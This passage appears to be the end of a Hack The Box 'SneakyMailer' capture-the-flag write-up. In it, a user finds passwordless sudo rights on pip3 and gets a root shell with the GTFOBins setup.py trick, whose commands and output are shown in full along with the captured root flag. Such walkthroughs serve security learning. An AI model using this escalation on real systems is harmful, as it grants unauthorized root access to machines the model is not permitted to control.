low@sneakymailer:~$ sudo -l
sudo -l
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3
low@sneakymailer:~$
Privilege escalation with pip
I found on GTFObins the root path: https://gtfobins.github.io/gtfobins/pip/{}:target=”_blank”}.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
low@sneakymailer:~$ TF=$(mktemp -d)
TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF
sudo pip3 install $TF
sudo: unable to resolve host sneakymailer: Temporary failure in name resolution
Processing /tmp/tmp.W1SkBUGMfB
# whoami
whoami
root
# cat root.txt
cat root.txt
cat: root.txt: No such file or directory
# cat /root/root.txt
cat /root/root.txt
1e2c05855e4f5793fc7b8b8dadc1ff2b
#
Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!
Happy Hacking :-)